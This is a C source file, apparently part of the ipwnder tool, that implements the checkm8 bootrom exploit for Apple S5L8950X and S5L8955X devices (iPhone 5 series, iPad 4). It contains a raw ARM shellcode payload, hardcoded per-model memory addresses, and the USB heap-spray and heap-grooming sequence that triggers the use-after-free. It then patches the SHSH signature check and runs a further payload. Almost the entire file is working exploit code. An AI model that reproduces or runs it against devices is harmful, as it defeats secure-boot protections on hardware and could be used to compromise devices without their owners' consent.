#include <io/iousb.h>
#include <common/common.h>
#include <exploit/checkm8/s5l8950x.h>

static unsigned char blank[2048];

static unsigned char overwriteBuf[] = {
    0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x10,
    0x00, 0x00, 0x00, 0x00
};

static unsigned int overwriteLen = 28;

static unsigned char payload[] = {
    0x00, 0x40, 0xa0, 0xe3, 0xf0, 0x40, 0x2d, 0xe9, 0x7c, 0x01, 0x9f, 0xe5,
    0xd0, 0x00, 0xc0, 0xe1, 0x05, 0x2d, 0x8f, 0xe2, 0xd0, 0x40, 0xc2, 0xe1,
    0xf0, 0x40, 0xc0, 0xe1, 0xf0, 0x40, 0xc1, 0xe1, 0xd8, 0x40, 0xc2, 0xe1,
    0xf8, 0x40, 0xc0, 0xe1, 0xf8, 0x40, 0xc1, 0xe1, 0xd0, 0x41, 0xc2, 0xe1,
    0xf0, 0x41, 0xc0, 0xe1, 0xf0, 0x41, 0xc1, 0xe1, 0xd8, 0x41, 0xc2, 0xe1,
    0xf8, 0x41, 0xc0, 0xe1, 0xf8, 0x41, 0xc1, 0xe1, 0x44, 0x01, 0x9f, 0xe5,
    0x01, 0x00, 0x80, 0xe2, 0x00, 0x10, 0xd0, 0xe5, 0x00, 0x00, 0x51, 0xe3,
    0xfb, 0xff, 0xff, 0x1a, 0x46, 0x1f, 0x8f, 0xe2, 0x00, 0x20, 0x91, 0xe5,
    0x04, 0x30, 0x91, 0xe5, 0x00, 0x20, 0x80, 0xe5, 0x04, 0x30, 0x80, 0xe5,
    0x08, 0x20, 0x91, 0xe5, 0x0c, 0x30, 0x91, 0xe5, 0x08, 0x20, 0x80, 0xe5,
    0x0c, 0x30, 0x80, 0xe5, 0x0c, 0x01, 0x9f, 0xe5, 0x0c, 0x11, 0x9f, 0xe5,
    0x0c, 0x41, 0x9f, 0xe5, 0x31, 0xff, 0x2f, 0xe1, 0x00, 0x00, 0xc4, 0xe5,
    0x04, 0x01, 0x9f, 0xe5, 0x01, 0x00, 0x50, 0xe3, 0x09, 0x00, 0x00, 0x1a,
    0xfc, 0x10, 0x9f, 0xe5, 0x00, 0x00, 0x91, 0xe5, 0x01, 0x00, 0x10, 0xe3,
    0x25, 0x00, 0x00, 0x0a, 0x00, 0x00, 0x91, 0xe5, 0x01, 0x00, 0xc0, 0xe3,
    0x00, 0x00, 0x81, 0xe5, 0x3e, 0x0f, 0x07, 0xee, 0x5f, 0xf0, 0x7f, 0xf5,
    0x1f, 0x00, 0x00, 0xea, 0xd8, 0x00, 0x9f, 0xe5, 0xd0, 0x10, 0x4f, 0xe2,
    0xd4, 0x20, 0x9f, 0xe5, 0x02, 0x10, 0x81, 0xe0, 0x00, 0x20, 0xa0, 0xe3,
    0xcc, 0x30, 0x9f, 0xe5, 0xcc, 0x40, 0x9f, 0xe5, 0x09, 0x50, 0x80, 0xe2,
    0x00, 0x50, 0x84, 0xe5, 0xd0, 0x40, 0xc1, 0xe1, 0xf0, 0x40, 0xc0, 0xe1,
    0xd8, 0x40, 0xc1, 0xe1, 0xf8, 0x40, 0xc0, 0xe1, 0xd0, 0x41, 0xc1, 0xe1,
    0xf0, 0x41, 0xc0, 0xe1, 0xd8, 0x41, 0xc1, 0xe1, 0xf8, 0x41, 0xc0, 0xe1,
    0xd0, 0x42, 0xc1, 0xe1, 0xf0, 0x42, 0xc0, 0xe1, 0xd8, 0x42, 0xc1, 0xe1,
    0xf8, 0x42, 0xc0, 0xe1, 0xd0, 0x43, 0xc1, 0xe1, 0xf0, 0x43, 0xc0, 0xe1,
    0xd8, 0x43, 0xc1, 0xe1, 0xf8, 0x43, 0xc0, 0xe1, 0x3e, 0x0f, 0x07, 0xee,
    0x5f, 0xf0, 0x7f, 0xf5, 0x40, 0x00, 0x80, 0xe2, 0x40, 0x10, 0x81, 0xe2,
    0x40, 0x20, 0x82, 0xe2, 0x03, 0x00, 0x52, 0xe1, 0xe8, 0xff, 0xff, 0x3a,
    0x00, 0x00, 0xa0, 0xe3, 0x15, 0x0f, 0x07, 0xee, 0x4f, 0xf0, 0x7f, 0xf5,
    0x6f, 0xf0, 0x7f, 0xf5, 0xf0, 0x80, 0xbd, 0xe8, 0x09, 0x02, 0x19, 0x00,
    0x01, 0x01, 0x05, 0x80, 0xfa, 0x09, 0x04, 0x00, 0x00, 0x00, 0xfe, 0x01,
    0x00, 0x00, 0x07, 0x21, 0x01, 0x0a, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x20, 0x50, 0x57, 0x4e, 0x44, 0x3a, 0x5b, 0x69,
    0x50, 0x77, 0x6e, 0x64, 0x65, 0x72, 0x5d, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x41, 0x41, 0x41, 0x41, 0x42, 0x42, 0x42, 0x42, 0x43, 0x43, 0x43, 0x43,
    0x44, 0x44, 0x44, 0x44, 0x45, 0x45, 0x45, 0x45, 0x46, 0x46, 0x46, 0x46,
    0x47, 0x47, 0x47, 0x47, 0x48, 0x48, 0x48, 0x48, 0x49, 0x49, 0x49, 0x49,
    0x4a, 0x4a, 0x4a, 0x4a, 0x00, 0x00, 0x00, 0x00, 0x31, 0x31, 0x31, 0x31,
    0x31, 0x31, 0x31, 0x31, 0x02, 0x88, 0x40, 0xf2, 0xa1, 0x23, 0x9a, 0x42,
    0xf6, 0xd1, 0xf0, 0xb5, 0x03, 0xaf, 0x84, 0xb0, 0x04, 0x46, 0x49, 0x4d,
    0x4f, 0xf6, 0xff, 0x71, 0x62, 0x88, 0x91, 0x42, 0x76, 0xd1, 0xd5, 0xe9,
    0x00, 0x01, 0x46, 0xf2, 0x33, 0x72, 0xc4, 0xf6, 0x6d, 0x12, 0x90, 0x42,
    0x6e, 0xd1, 0x47, 0xf2, 0x73, 0x32, 0xc6, 0xf6, 0x62, 0x12, 0x28, 0x69,
    0x90, 0x42, 0x67, 0xd1, 0x45, 0xf2, 0x45, 0x00, 0xc5, 0xf2, 0x59, 0x40,
    0x3c, 0x49, 0x4a, 0x68, 0x00, 0xf0, 0x6b, 0xf8, 0x00, 0x28, 0x5d, 0xd0,
    0x01, 0x46, 0x47, 0xf2, 0x73, 0x32, 0xc6, 0xf6, 0x62, 0x12, 0xc8, 0x68,
    0x90, 0x42, 0x55, 0xd1, 0x45, 0xf2, 0x41, 0x40, 0xc4, 0xf2, 0x41, 0x40,
    0x33, 0x49, 0x4a, 0x68, 0x00, 0xf0, 0x59, 0xf8, 0x00, 0x28, 0x4b, 0xd0,
    0x06, 0x46, 0x44, 0xf2, 0x47, 0x10, 0xc4, 0xf6, 0x42, 0x30, 0x2e, 0x49,
    0x4a, 0x68, 0x00, 0xf0, 0x4e, 0xf8, 0x00, 0x28, 0x40, 0xd0, 0x05, 0x46,
    0x11, 0x20, 0x14, 0x24, 0x29, 0x19, 0x2a, 0x19, 0x30, 0x23, 0x4f, 0xf0,
    0x00, 0x54, 0x04, 0xf5, 0x00, 0x74, 0x00, 0x94, 0x00, 0x24, 0x01, 0x94,
    0x00, 0x24, 0x02, 0x94, 0x24, 0x4c, 0xa0, 0x47, 0x11, 0x20, 0x0c, 0x24,
    0x31, 0x19, 0x32, 0x19, 0xb3, 0x68, 0x4f, 0xf0, 0x00, 0x54, 0x00, 0x94,
    0x24, 0x24, 0x64, 0x19, 0x01, 0x94, 0x14, 0x24, 0x64, 0x19, 0x02, 0x94,
    0x1c, 0x4c, 0xa0, 0x47, 0x1a, 0x48, 0x0c, 0x21, 0x89, 0x19, 0xb2, 0x68,
    0x15, 0x46, 0x00, 0xf0, 0x1c, 0xf8, 0x17, 0x48, 0xd0, 0xf8, 0x00, 0x12,
    0x44, 0xf2, 0x69, 0x22, 0xc5, 0xf2, 0x53, 0x32, 0x91, 0x42, 0x0f, 0xd1,
    0x12, 0x48, 0x14, 0x49, 0x09, 0x18, 0x42, 0xf2, 0x00, 0x02, 0xc6, 0xf2,
    0x18, 0x02, 0x0a, 0x60, 0x11, 0x4b, 0x98, 0x47, 0x01, 0x46, 0x00, 0x20,
    0x0c, 0x4a, 0x10, 0x4b, 0x98, 0x47, 0xfe, 0xe7, 0x00, 0x20, 0x04, 0xb0,
    0xf0, 0xbd, 0x0b, 0x78, 0x03, 0x70, 0x01, 0x30, 0x01, 0x31, 0x01, 0x3a,
    0x00, 0x2a, 0xf8, 0xd1, 0x70, 0x47, 0x10, 0xb5, 0x0c, 0x68, 0x84, 0x42,
    0x04, 0xd0, 0x02, 0x31, 0x02, 0x3a, 0x00, 0x2a, 0xf8, 0xd1, 0x00, 0x21,
    0x08, 0x46, 0x10, 0xbd, 0x61, 0x61, 0x61, 0x61, 0x62, 0x62, 0x62, 0x62,
    0x63, 0x63, 0x63, 0x63, 0x64, 0x64, 0x64, 0x64, 0x65, 0x65, 0x65, 0x65
};

static unsigned int payloadLen = 780;

static char* thumb_trampoline(uint32_t src, uint32_t dest) {
    char* trampoline = malloc(8);
    if(src % 2 != 1 || dest % 2 != 1) {
        free(trampoline);
        return NULL;
    }
    if(src % 4 == 1) {
        *(uint32_t*) trampoline = 0xF000F8DF;
        *(uint32_t*) (trampoline + sizeof(uint32_t)) = dest;
    }
    else {
        *(uint32_t*) trampoline = 0xF002F8DF;
        *(uint32_t*) (trampoline + sizeof(uint32_t)) = dest;
    }
    return trampoline;
}

static int patch_payload(io_client_t client)
{
    int r;
    
    int i=0;
    char* trampoline;
    
    unsigned int checkm8_offset = 0x18c;
    unsigned int trampoline_offset = 0x1b8;
    unsigned int usb_a1_2_offset = 0x2f8;
    
    r = -1;
    
    {
        i = checkm8_offset;
        *(uint32_t*)(payload + i + 0x1c) = 0x000001b8; // PAYLOAD_OFFSET
        *(uint32_t*)(payload + i + 0x20) = 0x00000154; // PAYLOAD_SIZE
    }
    
    if(client->isDemotion == true) {
        *(uint32_t*)(payload + checkm8_offset + 0x10) = 0x00000001; // demote_flag
        char* pwndStr = "demoted";
        memcpy(payload + 0x17f, pwndStr, 7);
        // enable _copy_payload
        // *(uint32_t*)(payload + 0xa8) = 0x0a000005; // beq _end -> beq _copy_payload
        // *(uint32_t*)(payload + 0xc0) = 0xeaffffff; // b   _end -> b   _copy_payload
        
    } else {
        *(uint32_t*)(payload + checkm8_offset + 0x10) = 0x00000000; // demote_flag
        //char* pwndStr = "ipwnder";
        //memcpy(payload + 0x17f, pwndStr, 7);
    }
    
    if(client->devinfo.cpid == 0x8950) {
        i = checkm8_offset;
        *(uint32_t*)(payload + i + 0x00) = 0x10061988; // gUSBDescriptors
        *(uint32_t*)(payload + i + 0x04) = 0x10061f80; // gUSBSerialNumber
        *(uint32_t*)(payload + i + 0x08) = 0x00007c55; // usb_create_string_descriptor
        *(uint32_t*)(payload + i + 0x0c) = 0x100600d8; // gUSBSRNMStringDescriptor
        *(uint32_t*)(payload + i + 0x14) = 0x3f500000; // gDemotionRegister
        *(uint32_t*)(payload + i + 0x18) = 0x10079800; // PAYLOAD_DEST
        *(uint32_t*)(payload + i + 0x24) = 0x10061a24; // PAYLOAD_PTR
        
        i = trampoline_offset;
        trampoline = thumb_trampoline(0x10079801, 0x00008161);
        memcpy(payload + i, trampoline, 8);
        
        i = usb_a1_2_offset;
        *(uint32_t*)(payload + i + 0x00) = 0x10000000; // loadaddr
        *(uint32_t*)(payload + i + 0x04) = 0x00007301; // aes_crypto_cmd
        *(uint32_t*)(payload + i + 0x0c) = 0x00006e85; // platform_get_boot_trampoline
        *(uint32_t*)(payload + i + 0x10) = 0x00005f81; // prepare_and_jump
        
        if(client->devinfo.bdid == 0x00) { // iPhone5,1
            i = usb_a1_2_offset;
            *(uint32_t*)(payload + i + 0x08) = 0x0000691c; // VERIFY_SHSH
            r = 0;
        }
        
        if(client->devinfo.bdid == 0x02) { // iPhone5,2
            i = usb_a1_2_offset;
            *(uint32_t*)(payload + i + 0x08) = 0x0000691c; // VERIFY_SHSH
            r = 0;
        }
        
        if(client->devinfo.bdid == 0x0a) { // iPhone5,3
            i = usb_a1_2_offset;
            *(uint32_t*)(payload + i + 0x08) = 0x00006aec; // VERIFY_SHSH
            r = 0;
        }
        
        if(client->devinfo.bdid == 0x0b) { // iPhone5,3
            i = usb_a1_2_offset;
            *(uint32_t*)(payload + i + 0x08) = 0x00006aec; // VERIFY_SHSH
            r = 0;
        }
        
        if(client->devinfo.bdid == 0x0e) { // iPhone5,4
            i = usb_a1_2_offset;
            *(uint32_t*)(payload + i + 0x08) = 0x00006aec; // VERIFY_SHSH
            r = 0;
        }
        
    }
    
    if(client->devinfo.cpid == 0x8955) {
        i = checkm8_offset;
        *(uint32_t*)(payload + i + 0x00) = 0x10061988; // gUSBDescriptors
        *(uint32_t*)(payload + i + 0x04) = 0x10061f80; // gUSBSerialNumber
        *(uint32_t*)(payload + i + 0x08) = 0x00007c95; // usb_create_string_descriptor
        *(uint32_t*)(payload + i + 0x0c) = 0x100600d8; // gUSBSRNMStringDescriptor
        *(uint32_t*)(payload + i + 0x14) = 0x3f500000; // gDemotionRegister
        *(uint32_t*)(payload + i + 0x18) = 0x10079800; // PAYLOAD_DEST
        *(uint32_t*)(payload + i + 0x24) = 0x10061a24; // PAYLOAD_PTR
        
        i = trampoline_offset;
        trampoline = thumb_trampoline(0x10079801, 0x000081a1);
        memcpy(payload + i, trampoline, 8);
        
        i = usb_a1_2_offset;
        *(uint32_t*)(payload + i + 0x00) = 0x10000000; // loadaddr
        *(uint32_t*)(payload + i + 0x04) = 0x00007341; // aes_crypto_cmd
        *(uint32_t*)(payload + i + 0x0c) = 0x00006ec5; // platform_get_boot_trampoline
        *(uint32_t*)(payload + i + 0x10) = 0x00005fc1; // prepare_and_jump
        
        if(client->devinfo.bdid == 0x00) { // iPad3,4
            i = usb_a1_2_offset;
            *(uint32_t*)(payload + i + 0x08) = 0x00006cd8; // VERIFY_SHSH
            r = 0;
        }
        
        if(client->devinfo.bdid == 0x02) { // iPad3,5
            i = usb_a1_2_offset;
            *(uint32_t*)(payload + i + 0x08) = 0x00006cd8; // VERIFY_SHSH
            r = 0;
        }
        
        if(client->devinfo.bdid == 0x04) { // iPad3,6
            i = usb_a1_2_offset;
            *(uint32_t*)(payload + i + 0x08) = 0x00006cd8; // VERIFY_SHSH
            r = 0;
        }
        
    }
    
    return r;
}


static void heap_spray(io_client_t client)
{
    transfer_t result;
    
    memset(&blank, '\0', 2048);
    
    result = usb_ctrl_transfer_with_time(client, 2, 3, 0x0000, 128, NULL, 0, 10);
    DEBUGLOG("[%s] (1/3) %x", __FUNCTION__, result.ret);
    usleep(10000);
    
    for(int i=0;i<659;i++){
        result = usb_ctrl_transfer_with_time(client, 0x80, 6, 0x0304, 0x040a, blank, 64, 1);
    }
    
    DEBUGLOG("[%s] (2/3) %x", __FUNCTION__, result.ret);
    
    result = usb_ctrl_transfer_with_time(client, 0x80, 6, 0x0304, 0x040a, blank, 65, 1);
    DEBUGLOG("[%s] (3/3) %x", __FUNCTION__, result.ret);
}

static void set_global_state(io_client_t client)
{
    transfer_t result;
    unsigned int val;
    UInt32 sent;
    
    memset(&blank, '\x41', 2048);
    
    val = 1600;
    
    int i=0;
    while((sent = async_usb_ctrl_transfer_with_cancel(client, 0x21, 1, 0x0000, 0x0000, blank, 2048, 0)) >= val){
        i++;
        DEBUGLOG("[%s] (*/*) retry: %x", __FUNCTION__, i);
        usleep(10000);
        result = usb_ctrl_transfer(client, 0x21, 1, 0x0000, 0x0000, blank, 64);
        DEBUGLOG("[%s] (*/*) %x", __FUNCTION__, result.ret);
        usleep(10000);
    }
    
    val -= sent;
    
    DEBUGLOG("[%s] (1/3) sent: %x, val: %x", __FUNCTION__, (unsigned int)sent, val);
    
    result = usb_ctrl_transfer_with_time(client, 0, 0, 0x0000, 0x0000, blank, val, 100);
    DEBUGLOG("[%s] (2/3) %x", __FUNCTION__, result.ret);
    
    result = usb_ctrl_transfer_with_time(client, 0x21, 4, 0x0000, 0x0000, NULL, 0, 0);
    DEBUGLOG("[%s] (3/3) %x", __FUNCTION__, result.ret);
}

static void heap_occupation(io_client_t client)
{
    transfer_t result;
    
    memset(&blank, '\0', 2048);
    
    result = usb_ctrl_transfer_with_time(client, 2, 3, 0x0000, 128, NULL, 0, 10);
    DEBUGLOG("[%s] (1/3) %x", __FUNCTION__, result.ret);
    
    result = usb_ctrl_transfer_with_time(client, 0x80, 6, 0x0304, 0x040a, blank, 64, 1);
    DEBUGLOG("[%s] (2/3) %x", __FUNCTION__, result.ret);
    
    result = usb_ctrl_transfer_with_time(client, 0, 0, 0x0000, 0x0000, overwriteBuf, overwriteLen, 100);
    DEBUGLOG("[%s] (3/3) %x", __FUNCTION__, result.ret);
}

int checkm8_s5l8950x(io_client_t client, ipwnder_payload_t ibss)
{
    
    if(patch_payload(client) != 0) {
        ERROR("[%s] ERROR: Failed to generate payload!", __FUNCTION__);
        return -1;
    }
    
    memset(&blank, '\0', 2048);
    
    LOG_EXPLOIT_NAME("checkm8");
    
    LOG("[%s] reconnecting", __FUNCTION__);
    io_reconnect(&client, 5, DEVICE_DFU, USB_RESET|USB_REENUMERATE, false, 1000);
    if(!client) {
        ERROR("[%s] ERROR: Failed to reconnect to device", __FUNCTION__);
        return -1;
    }
    
    LOG("[%s] running heap_spray()", __FUNCTION__);
    heap_spray(client);
    
    LOG("[%s] reconnecting", __FUNCTION__);
    io_reconnect(&client, 5, DEVICE_DFU, USB_RESET|USB_REENUMERATE, false, 10000);
    if(!client) {
        ERROR("[%s] ERROR: Failed to reconnect to device", __FUNCTION__);
        return -1;
    }
    
    LOG("[%s] running set_global_state()", __FUNCTION__);
    set_global_state(client);
    
    LOG("[%s] reconnecting", __FUNCTION__);
    io_reconnect(&client, 5, DEVICE_DFU, USB_NO_RESET, false, 500000);
    if(!client) {
        ERROR("[%s] ERROR: Failed to reconnect to device", __FUNCTION__);
        return -1;
    }
    
    LOG("[%s] running heap_occupation()", __FUNCTION__);
    heap_occupation(client);
    send_payload_no_error(client, payload, payloadLen);
    
    LOG("[%s] reconnecting", __FUNCTION__);
    io_reconnect(&client, 5, DEVICE_DFU, USB_REENUMERATE, true, 100000);
    if(!client) {
        ERROR("[%s] ERROR: Failed to reconnect to device", __FUNCTION__);
        return -1;
    }
    
    if(client->hasSerialStr == false) {
        read_serial_number(client); // For iOS 10 and lower
    }
    
    if(client->hasSerialStr != true) {
        ERROR("[%s] Serial number was not found!", __FUNCTION__);
        return -1;
    }
    
    if(client->devinfo.hasPwnd == true) {
        if(!strcmp(client->devinfo.pwnstr, "demoted")) {
            LOG("[%s] demoted!", __FUNCTION__);
            return 0;
        }
        LOG("[%s] pwned!", __FUNCTION__);
        exec_payload(client, ibss.payload, ibss.len);
        
        return 1;
    }
    
    return -1;
}
